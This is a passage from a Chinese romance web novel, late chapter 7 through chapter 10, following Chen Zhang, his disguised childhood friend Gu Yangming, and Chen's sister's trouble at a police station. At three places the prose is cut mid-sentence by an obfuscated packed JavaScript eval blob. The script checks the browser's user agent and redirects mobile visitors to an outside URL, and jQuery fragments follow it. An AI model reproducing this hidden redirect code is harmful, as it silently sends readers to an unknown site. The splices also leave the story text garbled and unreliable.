顾扬名说:“抑郁不是病毒,基本离不开人为的因素。一个好的环境能改变一生,也能毁掉一个人。” 顾扬名将车驶入车位,转头看向陈璋的眼睛,“所以,他是被杀死的。” “你说,这算不算是谋杀?” 陈璋注视着顾扬名的眼睛,那双眼睛很漂亮,睫毛很长,琥珀色的瞳孔明亮如宝石,闪着光。 自杀、病逝、谋杀。 三个结果相同,但过程和意义完全不同的词。 自杀充满绝望,病逝带着无力,而谋杀,则是一场阴谋。 那不是自我放弃,也不是不可抗力的死亡。 “谋杀”意味着一个想活下去的人,却被剥夺了生命。 它也意味着,错不在赵希一,而在别人。 陈璋脑中“嗡”的一声,突然清醒了。 从得知赵希一的死讯起,他一直无法接受。他不能接受赵希一的离去,更不能接受他是“自杀”的。 因为自杀意味着他内心关于赵希一的美好,是从内部崩塌的。 但“谋杀”这个词,巧妙的将崩塌的原因指向外部,是别人破坏了这份美好。 赵希一,依然是美好的。 他说:“顾扬名,你和你哥真的很像。” “都很会说话。” 顾扬名问:“那谁更好?” 陈璋笑了笑,说:“当然是赵希一更好。” 顾扬名看着他的笑,很浅,但眼尾和嘴角都牵动着,是一种真实的笑意。 顾扬名觉得自己的心跳漏了一拍。 “要一起吃点东西吗?”他问,“我请你。” 陈璋看了眼时间,失笑道:“现在才十一点,会不会太早了?” 顾扬名说:“不早,吃着吃着就十二点了。” 没等陈璋回答,他已经下了车。 陈璋无奈地笑了。 他没有说的是,顾扬名和赵希一最大的不同,是顾扬名更自我一些。 他总在陈璋还没做出决定时,就替他做了选择。 反感吗?陈璋细想,似乎并不。 他就像人群里一只没有方向的飞虫,从某种意义上说,顾扬名这样的人,反而适合做他的朋友。 顾扬名带陈璋走进一家饭店,在靠窗的位置坐下。 服务员递来菜单,顾扬名示意给陈璋。 陈璋推拒:“不用,你点就好。” 顾扬名挑眉:“你喜欢吃什么?” 陈璋:“都行。” “鱼呢?” “还行。” “鸭肉?” “可以。” “能吃辣吗?” “也可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201106|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以。” 顾扬名问完,却没点菜,他放下菜单,语重心长道:“陈璋,你没有特别喜欢的东西吗?” 陈璋犹豫了一下,“......好像都行。” 顾扬名:“那你不喜欢什么?” 陈璋:“好像......也没什么不喜欢的。” 顾扬名一时无语,他算是发现了,陈璋就是个对什么都“还行”“可以”的人。 之前请他喝茶,问他味道如何,他也是这样回答的。 顾扬名忽然笑了,压低声音问:“陈璋,那你吃屎吗?” 陈璋:“......” “看来你也不是什么都行,”顾扬名耸耸肩,“以后我还是问你不喜欢什么吧,反正你也说不出来。” 陈璋下意识接话:“可以。” 顾扬名:“......”算你狠。 他低头对着菜单点了几道菜,吃饭期间,顾扬名问什么,陈璋答什么。 顾扬名是又欣慰,又不是滋味。 饭后,顾扬名把陈璋送回小区,临走前不忘叮嘱:“有事联系,没事也可以联系。” 陈璋点点头,阳光下他的头发显得格外柔软。 顾扬名轻啧一声。 行吧,这么乖。 慢慢来。 做完这一切,顾扬名才拿起手机,给原本该去接的秦年打电话,“喂,你还在茶楼吗?” 秦年在电话那头冷笑,“还在?你还好意思问!” 顾扬名有点心虚,“我有点事耽误了。” “什么事能让你消息不回电话不接?”秦年语气激动,“我发现你自从回国就不对劲,最近这几天尤其明显!到底是哪个小妖精把你缠住了?” “见色忘友的东西!你这个狐朋狗友!” 顾扬名“诶”了一声,“你骂我怎么连自己一起骂?” “再说了,不是什么小妖精,别瞎说。” “你现在在哪儿?我来接你。” 秦年无语,“等你来接?我早成干尸了!” “我已经回公司了。” 今天本来是秦年去谈业务,因为顾扬名最近老是懈怠,他才硬拉着顾扬名一起去。 没想到顾扬名半路遇见了陈璋,直接放了鸽子。 顾扬名赶回公司时,秦年正在车间检查设备,面色不悦。 “吃饭了没?”顾扬名摸摸鼻子,试图表示关心。 秦年瞥他一眼,“没吃,也没见你带饭来啊。” 顾扬名凑过去帮忙检查设备,低声说:“其实......我遇见陈璋了。” 秦年动作一顿,语气淡了下来,“哦,就是你念念不忘的那位白月光?” 顾扬名皱眉,“别瞎说,那是我发小!朋友!兄弟!” 秦年推开挡路的顾扬名,“得了吧,你出国那几年,嘴里十句有八句都是这个人。” “不是白月光是什么?我想不出第二个词。” 顾扬名摇头:“秦年,你思想不纯洁。” 秦年点头:“嗯,没你纯洁。就咱们这圈子,除了你,我真找不出第二个像你这么纯洁的人。” 顾扬名:“......”这是在损他吧? 秦年见他不说话,站起身正色道:“顾扬名,你是弯的,不代表他也是。” “你问过他的意思吗?” “如果他不接受你,甚至厌恶你,你打算怎么办?” 顾扬名怔了怔。 他其实没想那么多,对陈璋的感情,他自己也说不清是执念还是怨念,是友情还是爱情。 但他唯一清楚的是:他好像不能接受陈璋的生命中出现比自己更重要的人。 这一点他在出国前就知道了,所以那时候,他是怨陈璋的。 沉默片刻后,顾扬名轻声开口。 “我没告诉他......我就是赵希一。” 8. 第八章 “你说什么?”秦年一脸震惊,声音都大了些,“你没告诉他你就是赵希一?这什么意思?” 顾扬名叹了口气,有些烦躁地揉了揉眉心,“就是说,在陈璋眼里,赵希一和顾扬名现在是两个人。” 这句话的冲击力太大,秦年只觉得荒唐又离谱。 他质问:“为什么会觉得是两个人?他没认出你吗?” 顾扬名摇摇头:“不知道,应该没认出来,再说了,我现在和以前区别确实很大。” “不仅如此,我还改名了。” 秦年张了张嘴,一时说不出话。 他回想起刚认识顾扬名时的样子,又仔细看了看眼前的人,确实差别很大。 他自己是看习惯了,但陈璋不一定。 出国前,顾扬名的肤色是健康的小麦色,身形是少年人特有的劲瘦,脸颊还带着点未褪尽的婴儿肥。 一头短发,天生的卷,蓬松地堆在头顶,衬得那张脸格外张扬鲜活。 可出了国,几年时间,顾扬名几乎脱胎换骨。 身量拔高了一截,骨架舒展,褪去了原先那点青涩的韧,变得清癯而修长。加上常年待在室内,不见什么日头,皮肤也渐渐白了,透出一种冷调的光泽。 他甚至蓄起了长发,微卷的发尾软软地搭在身后。 要是翻出旧照对比,照片里那个眉眼桀骜、笑容灿烂的少年,别说秦年感慨万分,就连顾扬名自己都有些恍惚。 唯一没变的,大概是那张脸依旧好看。 秦年难以置信地问:“他没认出来,你就不说?” 顾扬名声音低了下去:“没有,我还以为他忘了我。” 其实当时他有点报复的意味。 毕竟陈璋第一眼也没叫出他的名字,应该就是没认出来。 想到这儿顾扬名还有点生气,没认出来就算了,居然还问他认不认识赵希一。 他头脑一热,就否认了。 秦年不理解他的脑回路,“那万一他知道真相怎么办?” 顾扬名脑中闪过陈璋的脸,皱了皱眉:“不知道,到时候再说吧。” 秦年突然好奇,凑近了些,带着点戏谑:“你没打他吗?” “我有病啊?打他干什么?你别没事找事。” 顾扬名觉得秦年没话找话,只会弯酸他,语气相当不爽。 “你自己说的啊!”秦年把手中的记录表放在设备上,“就你出国那几年,每次难受的时候都说他为什么这样对我!为什么我走的时候看都不看我一眼!” “还说等我回去,非把他揍得鼻青脸肿不可!” 顾扬名:“......你可闭嘴吧。” 他踢了秦年一脚,没好气地转身就走。 秦年小腿一痛,跳着脚在后面骂,“顾扬名你等着!你完蛋了!迟早有人收拾你!” 顾扬名没回头,走在空旷的走廊里,脚步声回荡,心里五味杂陈。 回国之前,他确实预想过一千次、一万次要找陈璋“算账”。 可见到他的那一刻,别说动手,就连一句重话都说不出口。 陈璋看起来,比小时候还要糟糕。 顾扬名忽然想起从前外公说过,人身上都带着一种颜色,那颜色代表着一个人的灵魂。 那时外公看着陈璋轻声对他说:“小璋身上就有一种雾蒙蒙的灰色,你多带带他,别让他变成黑色。” 顾扬名急着追问:“那我是什么颜色?” 外公笑着捏捏他的脸,“你呀!我看你是五颜六色!” 顾扬名不知道人身上是不是真的有颜色,但他觉得陈璋真的快要变成黑色了。 他要看不见真正的陈璋了。 他对陈璋的感情太复杂,复杂到连自己都看不清楚,怨他、恨他,却好像又很可怜他...... 顾扬名觉得自己挺没出息的。 这么多年没见,本以为对陈璋的感情早就淡了,谁知道一见面就试出来了,他根本没放下。 所以当他知道陈璋对赵希一恋恋不忘,他是高兴的,却也没那么高兴。 这算爱吗? - 陈璋回家后,和王知然仔细沟通了后续工作的安排。 他向王知然提及了尝试自媒体宣传的想法,王知然一听就懂,直接让他负责旅游专线的客运业务。 这条路线是有固定的大巴车,主要往返于汽车站、高铁站、机场和景区之间,接送的大多是散客。遇上有需要包车的团队,也能灵活安排。 陈璋主要负责调度管理,不需要跟车。 但陈璋一向习惯待在家里,就连蓉城本地的景区,他自己都没完整逛过。 他打算这两天先跟车跑几趟,顺带深入了解景区,至少和人介绍时能说得上来。 隔日一早,天刚蒙蒙亮,陈璋就赶到车队,随车出发。司机是老师傅,名叫高一栋,大家都叫他高师傅。 他在王知然手下干了很多年,为人踏实可靠。 每年过年,王知然都会专门请所有司机吃顿饭,慰劳大家一年的辛苦。 王知然平时没空在家做饭,更别说过年过节。过年的时候,汤佳又要和汤勤为回汤家,为了不让陈璋过年一个人吃饭,王知然总会叫上他一起。 所以但凡在王知然这儿干过几年的司机,几乎没有不认识陈璋的。 大巴平稳地抵达景区。 陈璋下车后,高一栋探出窗口对他说:“那我先走了,你要回去的时候,给我发个消息,就在发车站等我就行。” 陈璋点头,“好,谢谢高师傅。” 陈璋在景区外望了一眼,今天天气微凉,空气都沾着湿度。 他没进去,打算先去昙华寺看看。 路过景区检票口大门时,忽然有人喊住了他。 “陈璋!” 陈璋闻声回头,惊讶地发现叫他的人,居然是谈雪宁。 谈雪宁小跑到他的面前,呼吸有点急促。 陈璋语气平淡问:“你怎么在这里?” 谈雪宁侧身指了指不远处几位正在说笑的年轻男女,“今天我休假,有几个朋友来蓉城玩,带他们来这儿逛逛。” “哦,那祝你们玩得开心。”陈璋直接结束话题,“我还有事,先走了。” 谈雪宁急忙叫住他:“等等!” 陈璋停步回头,疑惑地看着她。 “你为什么辞职了?”话一出口,谈雪宁便觉有些冒昧,她与陈璋的关系,其实也只停留在打招呼的层面。 她脸颊微热,连忙补充:“我、我是想问,你怎么突然辞职了,也没告诉大家一声。” 陈璋沉默片刻,才淡声答道:“你也知道,我不太适合那里。” 他巧妙地避开了后一个问题。 谈雪宁唇瓣微动,还想再问些什么,可陈璋的神情冷淡,看向她的目光也带着疏离。 她到了嘴边的话,又咽了回去。 最终,她牵起一抹得体的浅笑:“那就祝你未来事业顺利,步步高升。” 陈璋“嗯”了一声,说:“你也一样。” 两人没再说什么,就此分开。 谈雪宁站在原地,注视着陈璋那道渐行渐远又清瘦孤直的背影,心中有些落寞。 谈雪宁是有些高傲的。 她相貌出众,家世优渥,学历漂亮,从小到大环绕在耳畔的几乎都是赞美的话。 她进银行的路亦是家中早就铺好的,三个月柜员见习期满,便会调往总行后台,担任行长秘书。 这样的她,身边从不缺少羡慕、仰望,抑或是热烈的追求。 同一批入职支行的,只有她和陈璋两人。 从入职培训开始,她原以为陈璋也会像其他人一样,目光或多或少会追随她的身影。 可事与愿违。 陈璋从未主动与她说过一句话。 谈雪宁原以为他是装的,欲擒故纵的戏码她见多了,却没想到是她自己自作多情。 平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201107|197189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心而论,陈璋生得极其好看。 这让谈雪宁想到了花店里的花,看似被精心呵护着,可细看就能发现花的边缘微卷,甚至有点枯萎。 虽让人惋惜,但又不会让人将他带走。 哪怕只有短短两个多月,谈雪宁屡次挑起话题,也从未得到过回应。 她不喜欢陈璋,陈璋也不是她喜欢的类型。 她只是好奇,一个人要经历什么,才会变成这个样子。 “雪宁,快来!”一位朋友在不远处叫她。 谈雪宁回头看,对方高大俊朗,眉宇间神采飞扬。 是的,她喜欢的,从来都是这样的人。 - 景区门口,有人默默看完了全程。 “你好像个变态。”副驾上的秦年如此点评。 顾扬名不满地斜他一眼,“你狗嘴里吐不出象牙?大庭广众的,我还不能看了?” “你不也看得挺起劲?” 秦年嗤笑:“我看他们,用的是看陌生人的眼神,你那个眼神,像是要把陈璋吃了。” 顾扬名冷冷瞥向他:“下车。” 秦年知道这是在赶他,“你不跟我一起去了?” 秦年要和景区内展馆的负责人谈合作,这种活动顾扬名一向很少参加,大部分他就是个负责给钱的“大款”。 顾扬名心不在焉,“嗯,不去了,我有事。” 秦年撇嘴,一边解安全带一边吐槽,“行,见色忘友的狗,别忘了晚点来接我。” 顾扬名笑了笑,重复道:“下车!” 秦年嘴里骂骂咧咧地下了车,还没站稳,顾扬名便已调转车头,扬长而去。 顾扬名开车缓缓靠近陈璋,指尖在方向盘上轻敲,他犹豫了。 最近接二连三的“偶遇”实在太过凑巧。 他真的不是个变态,可缘分来了,挡都挡不住。 陈璋的情绪好不容易才缓和些,顾扬名不想逼得太紧。 看陈璋走的方向,应该是去白马村。 陈璋已经很多年没回来了。 陈家上一辈的老人在他很小的时候就已经离世,陈远川的三个姐姐也都远嫁他乡,没有再回来过。 陈璋自从被王知然接走后,同样没有回过这里。 不。 其实回来过一次。 只是走到半路,又被王知然带走了。 从景区到白马村走小路很近,约莫半小时的路程。 陈璋一路走走停停,却找不回儿时的影子。 白马村正如其名,如白驹过隙,一切早已改变。 陈璋恍恍惚惚想起小时候课本里那个被嘲笑刻舟求剑的人,此刻的他,亦是如此。 现实生活中留在原地的永远只有他一个人,而他却对此甘之如饴。 越是执拗地回忆过去,陈璋就越能感受到内心的波动,他把那些不堪与失落,当作滋养执念唯一的添加剂。 小路不再是泥泞山道,而是修整平整的水泥路。 他依稀记得小路中间有棵很大的白玉兰树,花香能飘出很远,可直到走到村口,陈璋也没见到。 昔日的土房几乎消失殆尽,取而代之的是统一的白墙红瓦的新农村。 陈璋站在村口怔忪片刻,轻叹一声,转身向昙华寺走去。 踏入寺庙的大门,一股淡淡的香火气息扑面而来。 寺内游客零星,有烧香拜佛的,有沿途拍照的,也有坐在树下休息的。 寺院中央矗立着一棵巨大的古柏,枝干虬结,亭亭如盖。 树的前面排列着几排挂满祈愿红丝带的木架,那些丝带在微风中轻轻飘扬,上面写满了心愿。 陈璋绕过飘扬的红丝带,却在丝带间隙中瞥见一个熟悉的身影。 他一时恍惚,不敢确认。 那人似乎察觉到注视,缓缓转身。 陈璋透过眼前轻柔拂动的红丝带,看见那人的脸,听见他说。 “你怎么也来了?” 9. 第九章 陈璋看着手执线香的顾扬名,没料到他自己反被问住,一时语塞。 静默片刻后,他才开口:“你以前来过这儿?” 顾扬名手中的香升起缕缕细烟,白雾在两人之间萦绕蔓延。 这是个好问题。 顾扬名答得稀疏平常,听不出任何破绽,“这儿好歹算我老家,我怎么可能没来过。” 陈璋点点头,想来合理,又问:“说起来,你是赵希一的表弟,我倒从没听他提过,也没见过你。” 顾扬名神色自若,“正常,我从小在国外生活,就14岁那年回来过一次。” 14岁? 那时陈璋已经离开白马村了。 陈璋牵了牵嘴角,笑意很浅,未达眼底,“那还真是可惜,错过了。” 顾扬名适时地移开视线,指向不远处:“那边能免费请香,要一起拜一拜吗?” 陈璋回头,果然看见一个木台,上面放着不少香,旁边写着“免费结缘”,无人看管。 他应道:“好。” 取香后,陈璋随顾扬名朝向佛像恭敬三拜。 顾扬名注视着香火,轻声说:“听说这寺挺灵的。” 陈璋将香插入香炉,语气平淡:“是么?可能心诚则灵,不过这也看人吧。” 顾扬名站到他身侧,问:“你觉得不准?” “不知道,还没实现。”陈璋淡淡答道,视线落在香炉里明明灭灭的星火上。 顾扬名点点头,声音不自觉地放软,“会实现的,我的就实现了。” 陈璋侧目多看了顾扬名两眼,没接话。 他从不把希望寄托于神明,那种感觉犹如将一颗心悬于针尖,对他而言,这样只会平白给他增加失望与焦虑。 他只希望生活平淡。 淡淡的,也许就能顺顺的。 顾扬名见他心思不在此,又指向不远处一间小屋,“那儿好像能抽签。” 陈璋说:“要钱的。” 顾扬名却轻轻笑道:“不要钱我反而不信。这种东西,花点钱才准。” 陈璋沉默片刻,淡淡道:“......行。” 顾扬名还真有点当“冤大头”的潜质。 他拉着陈璋要去抽一支,“走,一起去看看。” 陈璋漫不经心地挣脱他的手,却也没拒绝,跟了上去。 顾扬名看着墙上成排的签号,说:“我要99号。” 他转头问:“你呢?” 陈璋随意瞥了一眼:“72。” 小屋里的和尚大概是陈璋和顾扬名在寺里见到的唯一一位僧人。 他按两人报的数字取出对应的签文,正要分别递过来的时候,顾扬名却伸手一把全接了过去。 他低头扫了一眼,神色如常地将其中一支递给陈璋,“这是你的,看看写的什么?” 陈璋没什么好遮掩的,当着顾扬名的面直接展开签纸,上面写着:山穷水复疑无路,柳暗花明又一村。 顾扬名瞧见后说:“还行,是个好签。” 随后他打开自己那支,签文是:镜花水月总是空,独向寒山听晚钟。 陈璋看见后没说话,伸手拿过顾扬名手中的签纸,“我的跟你换吧。” 顾扬名想抢回来,但陈璋已经将那支不太吉利的签文捏成一团,扔进了旁边的垃圾桶。 顾扬名看着他这一连串动作,有些发愣。 “签文还能换的?” “有什么不能换?”陈璋语气平淡,“都是你花的钱,既然一支好一支不好,那就留好的那支。” 顾扬名微微一怔,心头像是被什么东西轻轻撩动了一下。 他本意是想让陈璋宽心,没料到反被陈璋安慰了,但这份突如其来的“强词夺理”,却让他觉得......也不错。 毕竟,原本抽到那支下签的,其实是陈璋。 心诚则灵,但事在人为。 陈璋见顾扬名不语,以为他还在介意,便说:“这样吧,我给你算一卦。” 顾扬名有些惊讶:“你还会算卦?” 陈璋点头:“学着玩的。你在心里默念一个问题,我按现在的时间给你推算结果。” 顾扬名将信将疑地沉默片刻后,说:“我问好了,你算算结果如何。” 陈璋打开手机,根据时间在指尖推算片刻,抬眼道:“大安,平稳顺利,你会得到你想要的结果。” 顾扬名见他一副煞有介事的模样,倒觉得他真有几分小和尚的气质,忍不住笑着问:“要是结果不好怎么办?” 陈璋轻轻嗯了一声,故作沉思,然后一本正经地说:“我没收你钱,你不能找我售后。” 顾扬名闻言,大笑起来,“那可不行,我现在就给你钱。” 陈璋莫名被他的笑声感染,嘴角也微微扬了起来。 可笑声还未落,陈璋的手机突然响了,是汤佳打来的。 陈璋迅速接起,语气下意识放沉,“喂?怎么了?” 电话那头传来汤佳的哭声,断断续续:“哥......我现在在派出所......” 陈璋眉头骤然收紧,“你怎么了?别急,说清楚,哪个派出所?我马上过来。” 汤佳哭得厉害,话也说不连贯,“我、我在香桂路......78号......” 陈璋边听边快步往外走。 顾扬名见状也收敛笑意,神色一凝,紧跟在他身边。 陈璋稳住声音安慰她,尽量让语调听起来令人安心,“没事,你身边还有别人吗?” 汤佳在电话那头停顿了一下,语气有些别扭地说:“......谢允也在。” 陈璋稍松一口气,好歹不是她一个人。 “就在那儿等我,我很快到。”他想了想又说:“你把电话给谢允。” 汤佳急忙说:“你别告诉妈妈......” 陈璋脚步急促,“好。” 见他答应,汤佳才不情不愿地把电话递给了身旁的谢允。 片刻的窸窣声后,电话那头传来谢允的声音。 “哥。” 他的声音很轻,不知是因为要和陈璋通话紧张,还是在派出所的缘故。 陈璋的语气比刚才对汤佳时严厉许多,“到底怎么回事?” 派出所里的谢允看了一眼不远处的汤佳,拿着手机悄悄走远几步,才低声说:“汤佳和一个女生打起来了,对方报的警。” 陈璋了解汤佳,她虽然性子直,但绝不是会无缘无故动手的人。 他语气平静却又有些压迫感,问:“为什么打起来?” 谢允叹了口气,解释道:“是汤佳的一个朋友,叫朱明月,和她室友起了冲突。汤佳替朱明月出头,没忍住动了手。” 这事可大可小,关键看对方伤得重不重,以及冲突的起因。 陈璋问:“那朱明月和她室友是因为什么起的矛盾?” 谢允说:“大概是朱明月的室友嘲讽她生活习惯......还有,说她家里穷。” 陈璋应了一声,心里有了底,“知道了,你现在别跟汤佳讨论谁对谁错,先安慰她。” 谢允喏喏地答:“......好。” 陈璋一听谢允这反应,就猜到他刚才肯定和汤佳争论过对错。 不然汤佳之前提到他时不会欲言又止,谢允此刻也不会这么没底气。 陈璋还是不放心,叮嘱道:“这个时候汤佳需要的是你理解她、安慰她,不是听你讲道理。等她平静下来,自己会知道该怎么做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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事情的起因是朱明月家境贫困,这学期有助学金评选,汤佳作为班干部和学生会成员参与了评审。 她根据实际情况,给朱明月评了一等奖。 朱明月的室友也参评了,却没拿到一等奖。加上平时两人生活作息不同,矛盾一点点积累,最终爆发。 汤佳知道后替朱明月打抱不平,两人在食堂讨论的时候,偏偏被那位室友听见了。 后来,言语冲突升级,就打了起来。 陈璋深吸一口气,问:“谁先动的手?” 石磊挑眉示意了一下汤佳的方向,“是你妹妹。” 陈璋环顾四周,没见到另一个当事人,又问:“那朱明月人呢?” 石磊说:“她已经走了,说晚上还有兼职,不能耽误。” 陈璋心底掠过一丝不适,但终究没再说什么。 石磊看了看他,声音压低了些,有点回忆往昔的感叹,“你看,是不是和你当初挺像?一样是为朋友出头,一样闹到派出所,一样那个朋友......不在场。” 陈璋摇头,语气肯定,“不一样。” 他的那个朋友根本不知道这件事,也不需要知道。 就算知道了,也绝不会先走。 陈璋说完转过身,正好和一直站在他身后的顾扬名的视线撞个正着。 顾扬名静静地望着他,神情复杂。 他心头蓦地一慌。 因为那个朋友,就是赵希一。 10. 第十章 陈璋极其不自然地移开视线,低声说:“我去和她聊聊吧。” 石磊点头,这件事只要汤佳愿意服个软,其实很好解决。 对面那个女生是外地人,独自在蓉城读书,报警也是一时冲动。 现在冷静下来,她连父母都不敢告诉,甚至辅导员的电话也没打。 虽说都是大学生,但也都是成年人了。 陈璋再次蹲下身,与汤佳平视,轻声说:“聊聊吗?” 汤佳下意识以为陈璋是要逼她认错,扭过头不说话,还在赌气。 陈璋微微叹气:“我不会逼你,只是想听听你的想法。” 汤佳这才慢慢转过头。 她看了一眼站在一旁手足无措的谢允,又瞥了眼不远处的顾扬名,默默起身走到一个安静的角落。 走廊的白炽灯光线下,陈璋跟在她身后,待汤佳停下脚步,他问道:“后悔吗?” 汤佳皱眉,喉咙噎住,不上不下,半晌才嘴硬道:“没有。” “没有就好。”陈璋点头,“你是成年人了,该为自己的行为负责。” “但我想问,这本不是你的事,你为什么要帮她?” 汤佳脱口而出,“她是我朋友。” 陈璋平静地反问:“可现在被留在这里的只有你一个人。” 汤佳被问住了,一时语塞。 其实说不后悔是假的,但说后悔也谈不上,更多是觉得自己太冲动,明明有更好的解决方法。 朱明月走的时候问过她可不可以离开,汤佳其实不希望她走,但朱明月说她不能请假。 她家境不好,生活费紧张,必须靠兼职来填补。 如果不让朱明月走,又觉得是在为难她...... 可是......她是为了朱明月才来到这里的,心里终究有点不是滋味,憋着一口闷气 更让她难受的是,没有人觉得她为朋友出头是对的。 这种不被理解的感觉,才是最重要的,甚至让汤佳开始自我怀疑,陷入怪异的沼泽。 沉默片刻,汤佳声音里带着一丝迷茫,低声问:“哥,那你后悔吗?” “什么?”陈璋微微一怔,没料到她会这么问。 汤佳语气低落下去,“我有钱,长得好看,可以毫不计较地提供很多帮助,这些对别人可能很重要,对我可能只是一句话的事。” “所以我的朋友很多,但有多少人是真心的,我也不知道,有时候觉得挺没意思的。” “我本来也不是爱管闲事的人,我爸常说人各有命,不要过度插手别人的事,付出要有回报。他是商人,说得没错。” 汤佳抬起眼,直视陈璋,“可是你改变了我的想法。” 陈璋有些困惑。 他自认并没有什么能力,能够改变汤佳的想法。 汤佳苦笑着解释,“你高一那次进派出所,我爸知道后说你很蠢,连我第一反应也觉得你好傻。” “这根本没有任何好处,纯粹惹一身麻烦。” “可那天晚上,我偷听到你和妈妈的对话。你说如果你不这么做,会后悔一辈子,朋友就是在对方有难时互相出头,不需要纠结对错,只需要有立场,坚定地站在朋友身边的立场。” “我刚上大学时被一个学长骚扰,是朱明月每天陪着我上课,为此她还被那个学长追着骂了好多次。” 这件事,陈璋并不知道。 陈璋沉默片刻,说:“可是我后悔过。” 是后悔过,但是如果再来一次,他还是会动手。 汤佳却道:“但如果不做,你同样会后悔,既然无论怎么选都可能后悔,那么对当时的你来说,那个选择就是对的。” 陈璋看着汤佳清澈而坚定的眼神,忽然觉得其实不需要他多说什么。 是非对错,她心里都明白,她只是需要有个人能够简单地认可她的初衷和那份义气。 至于之后该说什么、做什么,她自有分寸。 陈璋突然问:“那如果这件事,还导致你爸和妈离婚,你还会觉得我做得对吗?” “啊?”汤佳反应很快,立刻反驳,“怎么可能?这怎么会和你有关系。” 陈璋看着她:“你知道我当时打的是谁吗?” 汤佳问:“谁?” 陈璋低声说:“梁家境。” 话音刚落,汤佳先是愣了一下,眼神有些不自然,但随即低头轻笑了几声,肩膀微微抖动,“哈哈哈,难怪那段时间他就没再来过我家。” 十分刻意。 她还做出恍然大悟的模样,还猜测着问:“哦哦哦,他的鼻子......是你打的?” 陈璋嗯了一声。 汤佳连连点头,语气带着痛快,“打得好!打得妙!你怎么不早点告诉我?我看他不爽很久了!” 汤佳和梁家境从小不对付,大概是气场不合,每次见面必定会吵架。 陈璋无奈道:“汤佳,我告诉你这件事,不是让你幸灾乐祸的。” 汤佳反而安慰起陈璋,“哥,你放一百个心吧,这事儿绝对跟你没关系。我爸妈离婚也不是因为这件事,你想太多了。” 突然被提及的这段事,汤佳似乎想尽快结束这个话题,连之前阴郁的心情也被另一种更隐秘的情绪取代。 她甚至直接说:“好啦,哥,我去道歉。” “不管怎么说,动手打人就是不对的。” 匆匆的转变。 陈璋被搞得一头雾水,却又说不上来哪里不对,他还准备了一段大道理没说...... 汤佳催促道:“好了,走吧,别让石警官等久了。” 陈璋还想再叮嘱两句,汤佳却已经迫不及待地推着他往外走。 陈璋只好闭上了嘴。 在陈璋看不见的地方,汤佳微微叹了口气,心底仔细盘算刚才有没有说漏什么。 其实她知道陈璋打的谁,所以王知然和汤勤为离婚这件事,无论真相如何,错都不在陈璋。 他甚至......被当枪使了。 但这件事,任何人都不能再提及,必须烂在肚子里。 汤佳只能在心里默默对着陈璋的背影说一句:对不起。 汤佳态度放软后,事情就好办多了。 双方都愿意让步、道歉。 汤佳承担对方的医药费,对方也没再纠缠,他们很快便办完了手续,离开了派出所。 因为这个插曲,走出派出所的时候,夕阳早已西沉,天色暗淡,暮霭沉沉。 临走前,石磊特意对陈璋叮嘱道:“这里就别常来了,好好跟你妹妹多聊聊,有事好好沟通。” 陈璋哭笑不得,带着汤佳一起应道:“好,麻烦石警官了。” 汤佳虽没说话,却也低头默认。 在陈璋和汤佳单独谈话期间,顾扬名也和一旁的谢允简单聊了几句。 谢允也坦白了他的想法,他性子软,不爱与人起冲突,总希望大事化小、小事化了。 但他承认,自己刚才只顾着讲道理,没考虑到汤佳那一刻需要的是情绪上的支持。 顾扬名拍了拍谢允的肩,提点道:“这种时候,人往往需要的是一种认同感,大家都不是小孩,道理谁都懂。” “如果这个时间,你急着解决事情,没有顾及到她的情绪,反而会适得其反。” “试想,要是你第一时间冲上去,摆出要维护汤佳、找对方理论的架势,可能她自己的气顺了,早就主动道歉和解了。” 谢允听的很认真,因此,当汤佳一从角落走出来,他立刻上前,诚恳地道歉,眼神带着懊悔,“对不起,我刚才没站在你的角度想问题。” 汤佳看了他一眼,没说话,显然不愿接受。 谢允是个乖巧的男生,听话懂事,汤佳起初也是因这点愿意和他接触,却也因同样原因没接受他的表白。 他大多时候没主见,仅有的主意还常和汤佳相反。 如果一切顺利,两人尚能相处。 一旦出现问题,谁都不愿退让。 顾扬名开车送几人回去,车内气氛沉闷,他提议要不要一起吃顿饭,缓和一下,但是大家都没什么心情。 谢允住在校外,下车前,汤佳依旧没松口,谢允心情明显更糟糕了,像蒙了一层灰。 他站在车门外,对车内的汤佳说:“汤佳,我会改的。你现在不信我,没关系,我会做给你看。” 说完,也没等汤佳的反应,便转身离去。 车里顿时安静下来。 陈璋从副驾转过头,问后座的汤佳,“你们上次吵架,是因为什么?” 汤佳看着窗外的夜景,语气平淡:“他父母想让他出国再读几年书,他拒绝了,因为我不谈异地恋。夫妻尚且会同床异梦,何况普通情侣。” “我不希望他为我放弃什么。这是负担,我也承担不起。他今天能为我放弃出国,明天就可能要求我为他放弃什么、选择什么。” “如果换作是我,我会选择出国。” 正在开车的顾扬名忽然好奇,插话问道:“那你又怎么知道,他将来一定会要你回报呢?如果他就是那种不需要回报的人呢?” 汤佳沉默了片刻,车窗玻璃上映出她迷茫的脸。 